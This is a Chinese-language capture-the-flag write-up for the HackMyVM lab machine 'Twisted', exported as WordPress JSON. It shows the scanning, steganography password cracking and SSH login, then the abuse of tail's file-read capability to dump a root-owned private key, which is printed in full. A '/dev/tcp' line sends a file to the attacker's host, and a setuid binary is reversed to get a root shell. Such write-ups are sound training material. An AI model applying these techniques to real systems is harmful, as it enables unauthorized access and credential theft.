{"id":594,"date":"2024-04-20T14:54:42","date_gmt":"2024-04-20T06:54:42","guid":{"rendered":"http:\/\/162.14.82.114\/?p=594"},"modified":"2024-04-20T14:54:42","modified_gmt":"2024-04-20T06:54:42","slug":"hmv-_-twisted","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/594\/04\/20\/2024\/","title":{"rendered":"hmv[-_-]Twisted"},"content":{"rendered":"

Twisted<\/h1>\n

\"image-20240420141826932\"<\/div>
\n
\"image-20240420141447522\"<\/div><\/p>\n

\u4fe1\u606f\u641c\u96c6<\/h2>\n

\u7aef\u53e3\u626b\u63cf<\/h3>\n
rustscan -a 192.168.0.127 -- -A<\/code><\/pre>\n
Open 192.168.0.127:80\nOpen 192.168.0.127:2222\n\nPORT     STATE SERVICE REASON  VERSION\n80\/tcp   open  http    syn-ack nginx 1.14.2\n| http-methods: \n|_  Supported Methods: GET HEAD\n|_http-title: Site doesn't have a title (text\/html).\n|_http-server-header: nginx\/1.14.2\n2222\/tcp open  ssh     syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)\n| ssh-hostkey: \n|   2048 67:63:a0:c9:8b:7a:f3:42:ac:49:ab:a6:a7:3f:fc:ee (RSA)\n| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkxSQQDpisrFNA7vdjeM1rqhZ5oxeiJV\/upxZHBxLaY4QQIkf+Wg\/hbrc1mIJJvICUF12\/CYmr6Mex+ZPrjPZEICTEZeKUyiKs8orRoxEXtBSxe6cPhfpPCBJB\/nUwgu0YaD45cvlX1OY0Hg5Z7yfLB+cuThu6rk0bF+DY8s8\/azizG7+kHUSbYvYc7MHgoB4803gTDqS5JVgTx77Nf3+f2MxdEZhwEA2hdKG8mFlDhmdO7CKswKsrj8Zr2atkWxNd09Duk3bYotPHRL5tsLBfwRPUOc73QUh6yG+1Jy8WAwsIasl9dTi3F\/nV\/mpefszOCRasYx26DzxIxw0Q3Ewr\n|   256 8c:ce:87:47:f8:b8:1a:1a:78:e5:b7:ce:74:d7:f5:db (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL44mqXXp9R1yPGaglEeWWSvRlxYmyP8VSQzTqvGRzqyhdguk+1aTulnzwb9Gm6VSWhYF2ImBhcUgjrXSLWOLIc=\n|   256 92:94:66:0b:92:d3:cf:7e:ff:e8:bf:3c:7b:41:b7:5a (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK4CKLJXwHGu5mD+kZzH4DyaMOHv4Fqb75JrzeOPRfsA\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n
\u76ee\u5f55\u626b\u63cf<\/h3>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Twisted]\n\u2514\u2500$ gobuster dir -u http:\/\/192.168.0.127\/ -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x php,zip,bak,jpg,txt,png\n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/192.168.0.127\/\n[+] Method:                  GET\n[+] Threads:                 10\n[+] Wordlist:                \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\/3.6\n[+] Extensions:              php,zip,bak,jpg,txt,png\n[+] Timeout:                 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\nProgress: 330683 \/ 1543927 (21.42%)^C\n[!] Keyboard interrupt detected, terminating.\nProgress: 334392 \/ 1543927 (21.66%)\n===============================================================\nFinished\n===============================================================<\/code><\/pre>\n
\u6f0f\u6d1e\u53d1\u73b0<\/h2>\n
\u8e29\u70b9<\/h3>\n
\"image-20240420142539005\"<\/div><\/p>\n
\u63d0\u53d6\u9690\u85cf\u4fe1\u606f<\/h3>\n
\u4e0b\u8f7d\u4e0b\u6765\u770b\u4e00\u4e0b\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Twisted]\n\u2514\u2500$ wget http:\/\/192.168.0.127\/cat-original.jpg                                  \n--2024-04-20 02:26:07--  http:\/\/192.168.0.127\/cat-original.jpg\nConnecting to 192.168.0.127:80... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 288693 (282K) [image\/jpeg]\nSaving to: \u2018cat-original.jpg\u2019\n\ncat-original.jpg                      100%[=========================================================================>] 281.93K  --.-KB\/s    in 0.001s  \n\n2024-04-20 02:26:07 (209 MB\/s) - \u2018cat-original.jpg\u2019 saved [288693\/288693]\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Twisted]\n\u2514\u2500$ wget http:\/\/192.168.0.127\/cat-hidden.jpg  \n--2024-04-20 02:26:15--  http:\/\/192.168.0.127\/cat-hidden.jpg\nConnecting to 192.168.0.127:80... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 288706 (282K) [image\/jpeg]\nSaving to: \u2018cat-hidden.jpg\u2019\n\ncat-hidden.jpg                        100%[=========================================================================>] 281.94K  --.-KB\/s    in 0.002s  \n\n2024-04-20 02:26:15 (124 MB\/s) - \u2018cat-hidden.jpg\u2019 saved [288706\/288706]\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Twisted]\n\u2514\u2500$ ls -la\ntotal 576\ndrwxr-xr-x  2 kali kali   4096 Apr 20 02:26 .\ndrwxr-xr-x 55 kali kali   4096 Apr 20 02:14 ..\n-rw-r--r--  1 kali kali 288706 Oct 14  2020 cat-hidden.jpg\n-rw-r--r--  1 kali kali 288693 Oct 14  2020 cat-original.jpg\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Twisted]\n\u2514\u2500$ stegseek -wl \/usr\/share\/wordlists\/rockyou.txt cat-hidden.jpg \nStegSeek 0.6 - https:\/\/github.com\/RickdeJager\/StegSeek\n\n[i] Found passphrase: "sexymama"\n[i] Original filename: "mateo.txt".\n[i] Extracting to "cat-hidden.jpg.out".\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Twisted]\n\u2514\u2500$ cat cat-hidden.jpg.out \nthisismypassword\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Twisted]\n\u2514\u2500$ stegseek -wl \/usr\/share\/wordlists\/rockyou.txt cat-original.jpg \nStegSeek 0.6 - https:\/\/github.com\/RickdeJager\/StegSeek\n\n[i] Found passphrase: "westlife"\n[i] Original filename: "markus.txt".\n[i] Extracting to "cat-original.jpg.out".\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Twisted]\n\u2514\u2500$ cat cat-original.jpg.out                                      \nmarkuslovesbonita<\/code><\/pre>\n
mateo\nsexymama\nmarkus\nwestlife\nmarkuslovesbonita\nthisismypassword<\/code><\/pre>\n
\u7206\u7834\u4e00\u4e0b<\/h3>\n
\"image-20240420143100424\"<\/div><\/p>\n
mateo           thisismypassword\nmarkus          markuslovesbonita<\/code><\/pre>\n
ssh\u8fde\u4e00\u4e0b\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Twisted]\n\u2514\u2500$ ssh mateo@192.168.0.127 -p 2222                               \nThe authenticity of host '[192.168.0.127]:2222 ([192.168.0.127]:2222)' can't be established.\nED25519 key fingerprint is SHA256:+Vy+50OqnmO0eOU2nhxE0uNjMjXrtpHTmrYtml4yF3s.\nThis key is not known by any other names.\nAre you sure you want to continue connecting (yes\/no\/[fingerprint])? yes\nWarning: Permanently added '[192.168.0.127]:2222' (ED25519) to the list of known hosts.\nmateo@192.168.0.127's password: \nLinux twisted 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64\n\nThe programs included with the Debian GNU\/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in \/usr\/share\/doc\/*\/copyright.\n\nDebian GNU\/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nLast login: Wed Oct 14 03:21:44 2020 from 192.168.1.58\nmateo@twisted:~$ ls -la\ntotal 36\ndrwxr-xr-x 3 mateo mateo 4096 Oct 14  2020 .\ndrwxr-xr-x 5 root  root  4096 Oct 14  2020 ..\n-rw------- 1 mateo mateo    5 Oct 14  2020 .bash_history\n-rw-r--r-- 1 mateo mateo  220 Oct 13  2020 .bash_logout\n-rw-r--r-- 1 mateo mateo 3526 Oct 13  2020 .bashrc\ndrwxr-xr-x 3 mateo mateo 4096 Oct 14  2020 .local\n-rw------- 1 mateo mateo   25 Oct 14  2020 note.txt\n-rw-r--r-- 1 mateo mateo  807 Oct 13  2020 .profile\n-rw------- 1 mateo mateo   53 Oct 14  2020 .Xauthority\nmateo@twisted:~$ cat note.txt \n\/var\/www\/html\/gogogo.wav\nmateo@twisted:~$ cat .bash_history \nexit\nmateo@twisted:~$ cd \/var\/www\/html\/\nmateo@twisted:\/var\/www\/html$ python3 -V\nPython 3.7.3\nmateo@twisted:\/var\/www\/html$ python3 -m http.server 8888\nServing HTTP on 0.0.0.0 port 8888 (http:\/\/0.0.0.0:8888\/) ...\n192.168.0.143 - - [20\/Apr\/2024 02:33:44] "GET \/gogogo.wav HTTP\/1.1" 200 -\n^C\nKeyboard interrupt received, exiting.\nmateo@twisted:\/var\/www\/html$ su -l markus\nPassword: \nmarkus@twisted:~$ ls -la\ntotal 28\ndrwxr-xr-x 3 markus markus 4096 Oct 14  2020 .\ndrwxr-xr-x 5 root   root   4096 Oct 14  2020 ..\n-rw-r--r-- 1 markus markus  220 Oct 14  2020 .bash_logout\n-rw-r--r-- 1 markus markus 3526 Oct 14  2020 .bashrc\ndrwxr-xr-x 3 markus markus 4096 Oct 14  2020 .local\n-rw------- 1 markus markus   85 Oct 14  2020 note.txt\n-rw-r--r-- 1 markus markus  807 Oct 14  2020 .profile\nmarkus@twisted:~$ cat note.txt \nHi bonita,\nI have saved your id_rsa here: \/var\/cache\/apt\/id_rsa\nNobody can find it. \nmarkus@twisted:~$ cat \/var\/cache\/apt\/id_rsa\ncat: \/var\/cache\/apt\/id_rsa: Permission denied\nmarkus@twisted:~$ ls -l \/var\/cache\/apt\/id_rsa\n-rw------- 1 root root 1823 Oct 14  2020 \/var\/cache\/apt\/id_rsa<\/code><\/pre>\n
\u5206\u6790\u97f3\u9891<\/h3>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Twisted]\n\u2514\u2500$ wget http:\/\/192.168.0.127:8888\/gogogo.wav                                   \n--2024-04-20 02:33:42--  http:\/\/192.168.0.127:8888\/gogogo.wav\nConnecting to 192.168.0.127:8888... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 1130160 (1.1M) \nSaving to: \u2018gogogo.wav\u2019\n\ngogogo.wav                            100%[=========================================================================>]   1.08M  --.-KB\/s    in 0.03s   \n\n2024-04-20 02:33:42 (34.0 MB\/s) - \u2018gogogo.wav\u2019 saved [1130160\/1130160]<\/code><\/pre>\n
\u542c\u4e00\u4e0b\uff0c\u660e\u663e\u662f\u6469\u65af\u5bc6\u7801\uff0c\u4f7f\u7528\u7f51\u7ad9<\/a>\u89e3\u6790\u4e00\u4e0b\uff1a<\/p>\n
G O D E E P E R . . . C O M E W I T H M E . . . L I T T L E R A B B I T . . .<\/code><\/pre>\n
\u5154\u5b50\u6d1e\u3002\u3002\u3002\u3002<\/p>\n
\u4fe1\u606f\u641c\u96c6<\/h3>\n
markus@twisted:~$ find \/ -perm -u=s -type f 2>\/dev\/null\n\/home\/bonita\/beroot\n\/usr\/bin\/su\n\/usr\/bin\/umount\n\/usr\/bin\/gpasswd\n\/usr\/bin\/passwd\n\/usr\/bin\/mount\n\/usr\/bin\/chfn\n\/usr\/bin\/chsh\n\/usr\/bin\/newgrp\n\/usr\/lib\/openssh\/ssh-keysign\n\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/usr\/lib\/eject\/dmcrypt-get-device\nmarkus@twisted:~$ getcap -r \/ 2>\/dev\/null\nmarkus@twisted:~$ \/usr\/sbin\/getcap -r \/ 2>\/dev\/null\n\/usr\/bin\/ping = cap_net_raw+ep\n\/usr\/bin\/tail = cap_dac_read_search+ep<\/code><\/pre>\n
\u5c1d\u8bd5\u4f7f\u7528tail<\/code>\u83b7\u53d6\u6211\u4eec\u60f3\u8981\u7684\u4fe1\u606f\uff1a<\/p>\n
markus@twisted:~$ tail -n 50 \/var\/cache\/apt\/id_rsa\n-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAQEA8NIseqX1B1YSHTz1A4rFWhjIJffs5vSbAG0Vg2iTa+xshyrmk6zd\nFyguFUO7tN2TCJGTomDTXrG\/KvWaucGvIAXpgV1lQsQkBV\/VNrVC1Ioj\/Fx3hUaSCC4PBS\nolvmldJg2habNOUGA4EBKlTwfDi+vjDP8d77mF+rvA3EwR3vj37AiXFk5hBEsqr9cWeTr1\nvD5282SncYtJb\/Zx0eOa6VVFqDfOB7LKZA2QYIbfR7jezOdX+\/nlDKX8Xp07wimFuMJpcF\ngFnch7ptoxAqe0M0UIEzP+G2ull3m80G5L7Q\/3acg14ULnNVs5dTJWPO2Fp7J2qKW+4A5C\ntt0G5sIBpQAAA8hHx4cBR8eHAQAAAAdzc2gtcnNhAAABAQDw0ix6pfUHVhIdPPUDisVaGM\ngl9+zm9JsAbRWDaJNr7GyHKuaTrN0XKC4VQ7u03ZMIkZOiYNNesb8q9Zq5wa8gBemBXWVC\nxCQFX9U2tULUiiP8XHeFRpIILg8FKiW+aV0mDaFps05QYDgQEqVPB8OL6+MM\/x3vuYX6u8\nDcTBHe+PfsCJcWTmEESyqv1xZ5OvW8PnbzZKdxi0lv9nHR45rpVUWoN84HsspkDZBght9H\nuN7M51f7+eUMpfxenTvCKYW4wmlwWAWdyHum2jECp7QzRQgTM\/4ba6WXebzQbkvtD\/dpyD\nXhQuc1Wzl1MlY87YWnsnaopb7gDkK23QbmwgGlAAAAAwEAAQAAAQAuUW5GpLbNE2vmfbvu\nU3mDy7JrQxUokrFhUpnJrYp1PoLdOI4ipyPa+VprspxevCM0ibNojtD4rJ1FKPn6cls5gI\nmZ3RnFzq3S7sy2egSBlpQ3TJ2cX6dktV8kMigSSHenAwYhq2ALq4X86WksGyUsO1FvRX4\/\nhmJTiFsew+7IAKE+oQHMzpjMGyoiPXfdaI3sa10L2WfkKs4I4K\/v\/x2pW78HIktaQPutro\nnxD8\/fwGxQnseC69E6vdh\/5tS8+lDEfYDz4oEy9AP26Hdtho0D6E9VT9T\/\/2vynHLbmSXK\nmPbr04h5i9C3h81rh4sAHs9nVAEe3dmZtmZxoZPOJKRhAAAAgFD+g8BhMCovIBrPZlHCu+\nbUlbizp9qfXEc8BYZD3frLbVfwuL6dafDVnj7EqpabmrTLFunQG+9\/PI6bN+iwloDlugtq\nyzvf924Kkhdk+N366FLDt06p2tkcmRljm9kKMS3lBPMu9C4+fgo9LCyphiXrm7UbJHDVSP\nUvPg4Fg\/nqAAAAgQD9Q83ZcqDIx5c51fdYsMUCByLby7OiIfXukMoYPWCE2yRqa53PgXjh\nV2URHPPhqFEa+iB138cSgCU3RxbRK7Qm1S7\/P44fnWCaNu920iLed5z2fzvbTytE\/h9QpJ\nLlecEv2Hx03xyRZBsHFkMf+dMDC0ueU692Gl7YxRw+Lic0PQAAAIEA82v3Ytb97SghV7rz\na0S5t7v8pSSYZAW0OJ3DJqaLtEvxhhomduhF71T0iw0wy8rSH7j2M5PGCtCZUa2\/OqQgKF\neERnqQPQSgM0PrATtihXYCTGbWo69NUMcALah0gT5i6nvR1Jr4220InGZEUWHLfvkGTitu\nD0POe+rjV4B7EYkAAAAOYm9uaXRhQHR3aXN0ZWQBAgMEBQ==\n-----END OPENSSH PRIVATE KEY-----<\/code><\/pre>\n
\u7136\u540e\u4f7f\u7528\u79c1\u94a5\u8fdb\u884c\u767b\u5f55\uff01<\/p>\n
markus@twisted:\/home$ ls -la\ntotal 20\ndrwxr-xr-x  5 root   root   4096 Oct 14  2020 .\ndrwxr-xr-x 18 root   root   4096 Oct 13  2020 ..\ndrwxr-xr-x  4 bonita bonita 4096 Oct 14  2020 bonita\ndrwxr-xr-x  3 markus markus 4096 Oct 14  2020 markus\ndrwxr-xr-x  3 mateo  mateo  4096 Oct 14  2020 mateo<\/code><\/pre>\n
\u79c1\u94a5\u767b\u5f55<\/h3>\n
\"image-20240420144715872\"<\/div><\/p>\n
\u641c\u96c6\u4e00\u4e0b\u4fe1\u606f\uff1a<\/p>\n
bonita@twisted:~$ whoami;id\nbonita\nuid=1002(bonita) gid=1002(bonita) groups=1002(bonita)\nbonita@twisted:~$ ls -la\ntotal 52\ndrwxr-xr-x 4 bonita bonita  4096 Oct 14  2020 .\ndrwxr-xr-x 5 root   root    4096 Oct 14  2020 ..\n-rw-r--r-- 1 bonita bonita   220 Oct 14  2020 .bash_logout\n-rw-r--r-- 1 bonita bonita  3526 Oct 14  2020 .bashrc\n-rwsrws--- 1 root   bonita 16864 Oct 14  2020 beroot\ndrwxr-xr-x 3 bonita bonita  4096 Oct 14  2020 .local\n-rw-r--r-- 1 bonita bonita   807 Oct 14  2020 .profile\ndrwx------ 2 bonita bonita  4096 Oct 14  2020 .ssh\n-rw------- 1 bonita bonita    12 Oct 14  2020 user.txt\nbonita@twisted:~$ cat user.txt \nHMVblackcat\nbonita@twisted:~$ file beroot \nberoot: setuid, setgid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter \/lib64\/ld-linux-x86-64.so.2, for GNU\/Linux 3.2.0, BuildID[sha1]=fecfbde059505a54f66d3229cc9ebb78f997a7ba, not stripped<\/code><\/pre>\n
\u9006\u5411\u7a0b\u5e8f\u83b7\u53d6\u5bc6\u7801<\/h3>\n
\u5c1d\u8bd5\u8fd0\u884c\u4e00\u4e0b\u7a0b\u5e8f\uff1a<\/p>\n
bonita@twisted:~$ .\/beroot \nEnter the code:\n root\n\nWRONG<\/code><\/pre>\n
\u4e0b\u8f7d\u5230\u672c\u5730\u770b\u4e00\u4e0b\uff1a<\/p>\n
nc -lp 1234 > beroot\ncat beroot >\/dev\/tcp\/192.168.0.143\/1234<\/code><\/pre>\n
\u4f7f\u7528ida64<\/code>\u6253\u5f00\u770b\u4e00\u4e0b\uff1a<\/p>\n
int __cdecl main(int argc, const char **argv, const char **envp)\n{\n  int v4; \/\/ [rsp+1Ch] [rbp-4h]\n\n  printf("Enter the code:\\n ", argv, envp, argv);\n  scanf("%i", &v4);\n  if ( v4 == 5880 )\n  {\n    setuid(0);\n    setgid(0);\n    system("\/bin\/bash");\n  }\n  else\n  {\n    puts("\\nWRONG");\n  }\n  return 0;\n}<\/code><\/pre>\n
\u5f97\u5230\u5bc6\u78015880<\/code>\uff0cgo\uff01<\/p>\n
bonita@twisted:~$ .\/beroot \nEnter the code:\n 5880\nroot@twisted:~# ls -la\ntotal 52\ndrwxr-xr-x 4 bonita bonita  4096 Oct 14  2020 .\ndrwxr-xr-x 5 root   root    4096 Oct 14  2020 ..\n-rw-r--r-- 1 bonita bonita   220 Oct 14  2020 .bash_logout\n-rw-r--r-- 1 bonita bonita  3526 Oct 14  2020 .bashrc\n-rwsrws--- 1 root   bonita 16864 Oct 14  2020 beroot\ndrwxr-xr-x 3 bonita bonita  4096 Oct 14  2020 .local\n-rw-r--r-- 1 bonita bonita   807 Oct 14  2020 .profile\ndrwx------ 2 bonita bonita  4096 Oct 14  2020 .ssh\n-rw------- 1 bonita bonita    12 Oct 14  2020 user.txt\nroot@twisted:~# cd \/root\nroot@twisted:\/root# ls -la\ntotal 24\ndrwx------  3 root root 4096 Oct 14  2020 .\ndrwxr-xr-x 18 root root 4096 Oct 13  2020 ..\n-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc\ndrwxr-xr-x  3 root root 4096 Oct 14  2020 .local\n-rw-r--r--  1 root root  148 Aug 17  2015 .profile\n-rw-------  1 root root   16 Oct 14  2020 root.txt\nroot@twisted:\/root# cat root.txt \nHMVwhereismycat<\/code><\/pre>\n
\u62ff\u4e0broot\uff01<\/p>\n","protected":false},"excerpt":{"rendered":"
Twisted \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf rustscan -a 192.168.0.127 — -A Open  […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24,22,18],"tags":[],"class_list":["post-594","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test","category-reverse","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/594","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=594"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/594\/revisions"}],"predecessor-version":[{"id":595,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/594\/revisions\/595"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=594"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=594"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=594"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}